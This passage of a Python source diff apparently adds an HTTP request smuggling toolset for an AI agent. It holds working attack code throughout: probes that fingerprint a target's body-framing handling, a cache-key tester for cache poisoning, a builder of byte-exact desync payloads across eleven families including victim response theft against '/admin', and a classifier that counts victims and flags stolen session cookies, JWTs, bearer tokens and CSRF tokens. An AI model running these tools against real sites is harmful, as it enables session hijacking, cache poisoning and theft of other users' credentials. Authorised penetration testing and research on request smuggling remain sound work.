Chrome/131.0.0.0 Safari/537.36" + +# Response header -> CDN / cache vendor. Order matters: first match wins. +_CDN_HEADERS: dict[str, str] = { + "cf-ray": "cloudflare", + "x-amz-cf-id": "cloudfront", + "x-served-by": "fastly", + "x-varnish": "varnish", + "x-akamai-transformed": "akamai", + "x-sucuri-id": "sucuri", +} + +# Substrings that identify the origin stack from a 404 body. +_ERROR_SIGNATURES = ( + "nginx", + "apache", + "microsoft", + "iis", + "cloudflare", + "varnish", + "envoy", +) + +# Headers worth testing for cache-key membership. +_CACHE_KEY_HEADERS = ( + "Accept-Language", + "Cookie", + "User-Agent", + "Accept-Encoding", + "Origin", +) + +# A status in this set means the parser rejected the framing outright. +_REJECT_STATUSES = frozenset({400, 501}) + +Family = Literal[ + "byteranges", + "cl-whitespace", + "cl-duplicate", + "cl-bodyless", + "connect-cl", + "te-gzip", + "cl.te", + "te.cl", + "expect-dup", + "te-obfuscated", + "vrt", +] + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _compact(data: dict[str, Any]) -> dict[str, Any]: + """Drop null/empty values so the model does not pay tokens for absent fields. + + ``0`` and ``False`` are meaningful signals here and are preserved. + """ + return {k: v for k, v in data.items() if v not in (None, "", [], {})} + + +def _client(proxy: str, timeout: float = 10.0) -> httpx.AsyncClient: + """Build a probing client. ``proxy`` of "" means direct.""" + return httpx.AsyncClient( + headers={"User-Agent": _UA}, + timeout=httpx.Timeout(connect=5.0, read=timeout, write=5.0, pool=5.0), + follow_redirects=True, + verify=False, + proxy=proxy or None, + ) + + +def _base_url(host: str) -> str: + """Normalise a host or URL into a scheme-qualified origin with no trailing slash.""" + host = host.strip() + if not host.startswith(("http://", "https://")): + host = f"https://{host}" + return host.rstrip("/") + + +async def _settle(*coros: Any) -> list[Any]: + """Run probes concurrently; a failed probe yields its exception, never aborts.""" + return await asyncio.gather(*coros, return_exceptions=True) + + +def _ok(result: Any, default: Any) -> Any: + return default if isinstance(result, BaseException) else result + + +def _crlf(lines: list[str], body: str = "") -> str: + """Join header lines with CRLF and append the body after a blank line.""" + return "\r\n".join(lines) + "\r\n\r\n" + body + + +# --------------------------------------------------------------------------- +# Fingerprint probes +# --------------------------------------------------------------------------- + + +async def _probe_identity(c: httpx.AsyncClient, url: str) -> dict[str, Any]: + r = await c.head(url) + out: dict[str, Any] = { + "server": r.headers.get("server"), + "via": r.headers.get("via"), + } + for header, vendor in _CDN_HEADERS.items(): + value = r.headers.get(header) + if value: + out["cdn"] = vendor + out["cdn_evidence"] = f"{header}: {value}" + break + return out + + +async def _probe_error_page(c: httpx.AsyncClient, url: str) -> str | None: + r = await c.get(f"{url}/nonexistent-desync-probe-path") + body = r.text[:8192].lower() + return next((sig for sig in _ERROR_SIGNATURES if sig in body), None) + + +async def _probe_te(c: httpx.AsyncClient, url: str, encoding: str) -> bool: + """True when the server accepts this Transfer-Encoding value.""" + r = await c.post( + url, + content=b"0\r\n\r\n", + headers={ + "Transfer-Encoding": encoding, + "Content-Type": "application/octet-stream", + }, + ) + return r.status_code not in _REJECT_STATUSES + + +async def _probe_duplicate_cl(c: httpx.AsyncClient, url: str) -> str: + """Two identical Content-Length headers: rejected (RFC-correct) or accepted.""" + request = c.build_request( + "GET", url, headers=[("Content-Length", "0"), ("Content-Length", "0")] + ) + r = await c.send(request) + return "reject" if r.status_code in _REJECT_STATUSES else "accept" + + +async def _probe_bodyless_cl(c: httpx.AsyncClient, url: str) -> str: + """Content-Length with a body on GET — family 4 precondition.""" + request = c.build_request( + "GET", url, content=b"x" * 8, headers={"Content-Length": "8"} + ) + r = await c.send(request) + return "reject" if r.status_code in _REJECT_STATUSES else "accept" + + +# --------------------------------------------------------------------------- +# Cache helpers +# --------------------------------------------------------------------------- + + +def _parse_max_age(cache_control: str | None) -> int | None: + if not cache_control: + return None + match = re.search( + r"(?:^|,)\s*(?:s-)?max-age\s*=\s*(\d+)", cache_control, re.IGNORECASE + ) + return int(match.group(1)) if match else None + + +def _cache_evidence( + response: httpx.Response, ages: list[int] +) -> tuple[bool, str | None]: + """Decide whether a caching layer is present, and on what evidence.""" + if len(ages) >= 2 and ages[-1] > ages[0]: + return True, f"age increasing: {ages}" + + x_cache = response.headers.get("x-cache", "") + if "HIT" in x_cache.upper(): + return True, f"x-cache: {x_cache}" + + cf = response.headers.get("cf-cache-status", "") + if cf.upper() in {"HIT", "MISS", "EXPIRED", "STALE", "REVALIDATED"}: + return True, f"cf-cache-status: {cf}" + + varnish = response.headers.get("x-varnish", "") + if len(varnish.split()) == 2: # two IDs == served from cache + return True, f"x-varnish: {varnish}" + + if response.headers.get("age") is not None: + return True, f"age: {response.headers['age']}" + + return False, None + + +# --------------------------------------------------------------------------- +# Payload construction +# --------------------------------------------------------------------------- + + +def _smuggled(host: str, path: str) -> str: + """The prefix that bleeds into the next request on the connection.""" + return f"GET {path} HTTP/1.1\r\nHost: {host}\r\nX-Ignore: X" + + +def build_payload( + family: str, host: str, *, path: str = "/admin", method: str = "POST" +) -> dict[str, Any]: + """Build a raw HTTP/1.1 request for one desync mechanism family. + + Content-Length values and chunk sizes are derived from the actual byte + count of the constructed payload, so the request is wire-correct as-is. + """ + prefix = _smuggled(host, path) + n = len(prefix.encode()) + + if family == "byteranges": + body = f"--SMUGGLE\r\nContent-Range: bytes 0-10/100\r\n\r\nAAAAAAAAAA\r\n--SMUGGLE--\r\n{prefix}" + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + "Content-Type: multipart/byteranges; boundary=SMUGGLE", + f"Content-Length: {len(body.encode())}", + ], + body, + ) + note = "Front-end honours Content-Length; back-end stops at the --SMUGGLE-- boundary and treats the remainder as a new request." + + elif family == "cl-whitespace": + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + f" Content-Length: {n}", + "Content-Length: 0", + ], + prefix, + ) + note = "Leading-space Content-Length. Also try 'Content-Length : N', 'Content-Length\\t: N', and a leading tab." + + elif family == "cl-duplicate": + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + "Content-Length: 0", + f"content-length: {n}", + ], + prefix, + ) + note = "Conflicting Content-Length values, case-varied to evade header dedup. One layer takes the first, the other the last." + + elif family == "cl-bodyless": + raw = _crlf(["GET / HTTP/1.1", f"Host: {host}", f"Content-Length: {n}"], prefix) + note = "Content-Length on a bodyless method. The proxy drops the body per spec; the origin reads it as the next request." + + elif family == "connect-cl": + raw = _crlf( + [f"CONNECT {host}:443 HTTP/1.1", f"Host: {host}", f"Content-Length: {n}"], + prefix, + ) + note = "CONNECT with a pseudo-body on a keep-alive connection. Some proxies strip it, others forward it." + + elif family == "te-gzip": + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + "Transfer-Encoding: gzip", + f"Content-Length: {n}", + ], + prefix, + ) + note = "Non-chunked Transfer-Encoding. Parsers split between 'any TE means chunked' and 'unknown TE means ignore'." + + elif family == "cl.te": + body = f"0\r\n\r\n{prefix}" + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + f"Content-Length: {len(body.encode())}", + "Transfer-Encoding: chunked", + ], + body, + ) + note = "Front-end uses Content-Length, back-end uses chunked. The back-end terminates at chunk 0 and the prefix starts the next request." + + elif family == "te.cl": + chunk = f"{n:x}\r\n{prefix}\r\n0\r\n\r\n" + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + "Content-Length: 4", + "Transfer-Encoding: chunked", + ], + chunk, + ) + note = "Front-end reads the full chunked body; back-end reads only 4 bytes of Content-Length and treats the rest as a new request." + + elif family == "expect-dup": + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + f"Content-Length: {n}", + "Expect: 100-continue", + "Expect: 100-continue", + ], + prefix, + ) + note = "Duplicated Expect headers desynchronise whether a layer waits for the body." + + elif family == "te-obfuscated": + body = f"0\r\n\r\n{prefix}" + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + f"Content-Length: {len(body.encode())}", + "Transfer-Encoding: chunked", + "Transfer-Encoding: x", + ], + body, + ) + note = "Second bogus Transfer-Encoding. Permute with 'xchunked', 'Transfer-Encoding : chunked', a tab before the value, and a trailing NUL." + + elif family == "vrt": + # Victim response theft: the smuggled request declares a body large + # enough to swallow the next victim's request headers. + victim = f"GET {path} HTTP/1.1\r\nHost: {host}\r\nContent-Length: 300\r\n\r\nx=" + body = f"0\r\n\r\n{victim}" + raw = _crlf( + [ + f"{method} / HTTP/1.1", + f"Host: {host}", + f"Content-Length: {len(body.encode())}", + "Transfer-Encoding: chunked", + ], + body, + ) + note = "Victim response theft. The smuggled Content-Length: 300 absorbs the next victim's headers; if the endpoint reflects the body, their cookies leak." + + else: + raise ValueError( + f"Unknown family {family!r}. Choose one of: {', '.join(sorted(set(Family.__args__)))}" + ) + + return { + "family": family, + "raw_request": raw, + "byte_length": len(raw.encode()), + "note": note, + } + + +# --------------------------------------------------------------------------- +# Stolen-response classification +# --------------------------------------------------------------------------- + +_SESSION_COOKIE = re.compile( + r"(?i)^(PHPSESSID|JSESSIONID|connect\.sid|_session_id|ASP\.NET_SessionId" + r"|session|sid|SESS|sess_id|laravel_session|_rails_session)$" +) +_SET_COOKIE = re.compile(r"(?i)([^=;,\s]+)=([^;,\r\n]*)") +_JWT = re.compile(r"eyJ[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}") +_BEARER = re.compile(r"(?i)bearer\s+(\S{8,})") +_CSRF_INPUT = re.compile( + r"""(?is)]*\bname=["'](csrf|csrf_token|_token|_csrf_token|nonce|authenticity_token)["'][^>]*>""", +) +_VALUE_ATTR = re.compile(r"""(?i)\bvalue=["']([^"']*)["']""") +_EMAIL = re.compile(r"[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}") +_TEST_DOMAINS = frozenset( + {"example.com", "example.org", "example.net", "test.com", "localhost"} +) + +# Category -> severity, most severe first. +_SEVERITY_ORDER: tuple[tuple[frozenset[str], str], ...] = ( + (frozenset({"session_token", "jwt", "bearer_token"}), "critical"), + (frozenset({"csrf_token"}), "high"), + (frozenset({"pii"}), "medium"), +) + + +def _redact(value: str) -> str: + """Truncate so a full secret never leaves this module.""" + if len(value) >= 16: + return f"{value[:8]}...{value[-4:]}" + if len(value) >= 5: + return f"{value[:2]}..." + return "***" + + +def _iter_headers(headers: dict[str, Any], name: str): + """Yield values for a header name, tolerating list-valued duplicates.""" + for key, value in headers.items(): + if key.lower() != name: + continue + yield from (value if isinstance(value, list) else [value]) + + +def _session_values(headers: dict[str, Any]) -> list[str]: + found = [] + for raw in _iter_headers(headers, "set-cookie"): + match = _SET_COOKIE.search(str(raw)) + if match and _SESSION_COOKIE.match(match.group(1).strip()): + found.append(match.group(2).strip()) + return found + + +def analyze_responses( + responses: list[dict[str, Any]], *, host: str = "" +) -> dict[str, Any]: + """Classify captured victim responses and assign a severity. + + Each response is ``{"status": int, "headers": {...}, "body": str}``. + Unique victims are counted by distinct session-cookie values. + """ + findings: list[dict[str, str]] = [] + sessions: set[str] = set() + + def add(category: str, evidence: str, location: str) -> None: + findings.append( + {"category": category, "evidence": evidence, "location": location} + ) + + for response in responses: + headers = response.get("headers") or {} + body = str(response.get("body") or "") + + for value in _session_values(headers): + sessions.add(value) + add("session_token", _redact(value) if value else "(empty)", "header") + + for raw in _iter_headers(headers, "authorization"): + match = _BEARER.search(str(raw)) + if match: + add("bearer_token", _redact(match.group(1)), "header") + + header_blob = " ".join(f"{k}: {v}" for k, v in headers.items()) + if match := _JWT.search(header_blob): + add("jwt", _redact(match.group(0)), "header") + elif match := _JWT.search(body): + add("jwt", _redact(match.group(0)), "body") + + if match := _CSRF_INPUT.search(body): + value_match = _VALUE_ATTR.search(match.group(0)) + evidence = ( + _redact(value_match.group(1)) + if value_match and value_match.group(1) + else "(present)" + ) + add("csrf_token", evidence, "body") + + for match in _EMAIL.finditer(body): + if match.group(0).rsplit("@", 1)[1].lower() not in _TEST_DOMAINS: + add("pii", _redact(match.group(0)), "body") + break + + categories = {f["category"] for f in findings} + severity = next( + (label for cats, label in _SEVERITY_ORDER if categories & cats), "low" + ) + victims = len(sessions) or (1 if responses and findings else 0) + + return _compact( + { + "host": host, + "total_responses": len(responses), + "unique_victims": victims, + "severity": severity, + "categories": sorted(categories), + "findings": findings, + "summary": ( + f"{len(responses)} response(s) from ~{victims} victim(s); " + f"{', '.join(sorted(categories)) if categories else 'nothing sensitive'} " + f"-> {severity}" + ), + } + ) + + +# --------------------------------------------------------------------------- +# Toolset +# --------------------------------------------------------------------------- + + +class DesyncTools(Toolset): + """HTTP request smuggling recon, payload construction, and impact analysis.""" + + @tool_method(name="desync_fingerprint", catch=True) + async def desync_fingerprint( + self, + host: Annotated[ + str, "Target host or origin URL, e.g. 'target.com' or 'https://target.com'" + ], + proxy: Annotated[ + str, + "Proxy URL to route probes through, e.g. 'http://127.0.0.1:8080' for Caido. Empty for direct.", + ] = "", + ) -> dict[str, Any]: + """Fingerprint which HTTP body-framing primitives a target stack accepts. + + Reports Server/Via headers, CDN vendor, origin signature from the error + page, which Transfer-Encoding values are accepted (chunked/identity/gzip), + whether duplicate Content-Length is rejected, and whether Content-Length + on a bodyless GET is accepted. Probes run concurrently. + + Read the result as a technique filter: `te_chunked` false rules out + CL.TE/TE.CL, `duplicate_cl: accept` opens family 3, `bodyless_cl: + accept` opens family 4. + """ + url = _base_url(host) + async with _client(proxy) as c: + ( + identity, + error_sig, + chunked, + identity_te, + gzip_te, + dup_cl, + bodyless, + ) = await _settle( + _probe_identity(c, url), + _probe_error_page(c, url), + _probe_te(c, url, "chunked"), + _probe_te(c, url, "identity"), + _probe_te(c, url, "gzip"), + _probe_duplicate_cl(c, url), + _probe_bodyless_cl(c, url), + ) + + return _compact( + { + "host": url, + **_ok(identity, {}), + "error_page_sig": _ok(error_sig, None), + "te_chunked": _ok(chunked, False), + "te_identity": _ok(identity_te, False), + "te_gzip": _ok(gzip_te, False), + "duplicate_cl": _ok(dup_cl, "unknown"), + "bodyless_cl": _ok(bodyless, "unknown"), + } + ) + + @tool_method(name="desync_probe_cache", catch=True) + async def desync_probe_cache( + self, + host: Annotated[str, "Target host or origin URL"], + path: Annotated[str, "Path to probe for cache behaviour"] = "/", + proxy: Annotated[ + str, "Proxy URL to route probes through. Empty for direct." + ] = "", + ) -> dict[str, Any]: + """Detect a caching layer and determine which headers are in the cache key. + + Confirms caching via increasing Age, X-Cache HIT, CF-Cache-Status, + or paired X-Varnish IDs, then tests candidate headers for cache-key + membership. Unkeyed headers are the escalation path: a confirmed + desync plus an unkeyed header turns a medium finding into cache + poisoning at CDN scale. + """ + url = _base_url(host) + (path if path.startswith("/") else f"/{path}") + + async with _client(proxy) as c: + responses = await _settle(*(c.get(url) for _ in range(3))) + live = [r for r in responses if isinstance(r, httpx.Response)] + if not live: + return { + "host": url, + "has_cache": False, + "error": "no successful response", + } + + ages = [int(a) for r in live if (a := r.headers.get("age", "")).isdigit()] + has_cache, evidence = _cache_evidence(live[-1], ages) + + result: dict[str, Any] = { + "host": url, + "has_cache": has_cache, + "evidence": evidence, + "ttl_seconds": _parse_max_age(live[-1].headers.get("cache-control")), + } + if has_cache: + result["cache_type"] = next( + (v for h, v in _CDN_HEADERS.items() if live[-1].headers.get(h)), + "generic", + ) + + # Cache-key membership only means anything once caching is confirmed + # and Age is being emitted (Age is the differential signal). + if has_cache and ages: + baseline = ages[-1] + probes = await _settle( + *( + c.get(url, headers={h: f"desync-probe-{i}"}) + for i, h in enumerate(_CACHE_KEY_HEADERS) + ) + ) + keyed, unkeyed = [], [] + for header, probe in zip(_CACHE_KEY_HEADERS, probes, strict=True): + if not isinstance(probe, httpx.Response): + continue + age = probe.headers.get("age", "") + # A fresh (much lower) Age means the header split the cache key. + ( + keyed if age.isdigit() and int(age) < baseline - 2 else unkeyed + ).append(header) + result["keyed_headers"] = keyed + result["unkeyed_headers"] = unkeyed + result["cache_key_method"] = ( + "Age differential: a header is keyed if adding it dropped Age by >2s. " + "Keyed is high confidence; unkeyed is a lead — confirm with a cache-buster " + "query param before relying on it." + ) + + return _compact(result) + + @tool_method(name="desync_build_payload", catch=True) + async def desync_build_payload( + self, + family: Annotated[ + Family, + "Mechanism family: byteranges (multipart/byteranges body-length confusion), " + "cl-whitespace (obfuscated Content-Length), cl-duplicate (conflicting CL), " + "cl-bodyless (CL on GET/HEAD), connect-cl (CONNECT with CL), te-gzip " + "(non-chunked Transfer-Encoding), cl.te, te.cl, expect-dup (duplicated " + "Expect: 100-continue), te-obfuscated (bogus second TE header), " + "vrt (victim response theft)", + ], + host: Annotated[str, "Host header value for the request, e.g. 'target.com'"], + path: Annotated[ + str, + "Path for the smuggled request — the endpoint you want the victim to hit", + ] = "/admin", + method: Annotated[str, "Method for the outer request"] = "POST", + ) -> dict[str, Any]: + """Build a byte-exact raw HTTP/1.1 desync request for one mechanism family. + + Content-Length values and chunk sizes are computed from the real byte + count of the constructed payload — the framing is wire-correct as + returned, which hand-written smuggling payloads almost never are. + + Send the raw bytes over a socket or via a repeater. Do not pass the + result to an HTTP client library: every client normalises the exact + headers this attack depends on. + """ + return build_payload(family, host, path=path, method=method) + + @tool_method(name="desync_analyze_responses", catch=True) + async def desync_analyze_responses( + self, + responses: Annotated[ + list[dict[str, Any]], + "Captured victim responses, each {'status': int, 'headers': {...}, 'body': str}", + ], + host: Annotated[str, "Target host, for the summary line"] = "", + ) -> dict[str, Any]: + """Classify responses stolen via victim-response theft and assign a severity. + + Detects session cookies, JWTs, bearer credentials, CSRF tokens, and + email PII, then counts unique victims by distinct session-cookie value. + Severity: critical (session/JWT/bearer), high (CSRF), medium (PII), + low (nothing sensitive). Evidence values are redacted — full secrets + are never returned. + """ + return analyze_responses(responses, host=host)